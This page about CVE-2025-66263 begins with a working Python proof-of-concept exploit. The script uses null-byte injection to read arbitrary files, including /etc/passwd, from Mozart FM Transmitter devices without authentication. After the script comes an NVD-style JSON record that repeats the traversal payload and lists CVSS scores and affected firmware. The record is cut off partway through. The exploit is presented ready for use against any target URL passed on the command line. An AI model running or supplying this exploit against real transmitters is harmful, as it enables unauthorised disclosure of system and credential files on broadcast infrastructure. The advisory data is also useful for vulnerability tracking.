CVE-2025-66263

import requests import sys # CVE-2025-66263 PoC - Mozart FM Transmitter Null Byte Injection # Target: /var/tdf/download_setting.php # Vulnerability: Unauthenticated Arbitrary File Read via Null Byte Injection def exploit(target_url, filename): """ Exploit null byte injection to read arbitrary files """ # Construct the exploit URL with null byte injection # The %00 (null byte) will terminate the string in PHP < 5.3.4 # causing the .tgz extension to be ignored params = { 'filename': filename + '%00' } try: print(f"[*] Target: {target_url}") print(f"[*] Requesting file: {filename}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved ({len(response.content)} bytes)") print("=" * 60) print(response.text[:2000]) # Print first 2000 chars print("=" * 60) return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-66263.py <target_url> ") print("Example: python cve-2025-66263.py http://target.com/download_setting.php /etc/passwd") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] # Common targets for enumeration exploit(target, filename)

{"cve": {"id": "CVE-2025-66263", "sourceIdentifier": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "published": "2025-11-26T01:16:09.880", "lastModified": "2025-12-03T16:52:03.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Arbitrary File Read via Null Byte Injection in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform Null byte injection in download_setting.php allows reading arbitrary files.\nThe `/var/tdf/download_setting.php` endpoint constructs file paths by concatenating user-controlled `$_GET['filename']` with a forced `.tgz` extension. Running on PHP 5.3.2 (pre-5.3.4), the application is vulnerable to null byte injection (%00), allowing attackers to bypass the extension restriction and traverse paths. By requesting `filename=../../../../etc/passwd%00`, the underlying C functions treat the null byte as a string terminator, ignoring the appended `.tgz` and enabling unauthenticated arbitrary file disclosure of any file readable by the web server user."}], "metrics": {"cvssMetricV40": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_3000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F9F5D088-18AE-4388-83D7-66EBF03B3091"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_3000:-:*:*:*:*:*:*:*", "matchCriteriaId": "E5427DF7-CBAB-4BB9-9175-B7EC7012EAD0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_3500_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "285B4AB4-1F69-445E-B2D3-A0C140B55990"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_3500:-:*:*:*:*:*:*:*", "matchCriteriaId": "90E84970-55F7-41CB-814E-085BACFAAA91"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_50_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "9CD961FB-E86A-4346-9B8D-3658C7BD818F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_50:-:*:*:*:*:*:*:*", "matchCriteriaId": "56699CC2-C823-4397-8C76-BC165E48D6E0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_500_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "93081491-7BD5-4AD8-B9A9-4017BD531955"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteri ... 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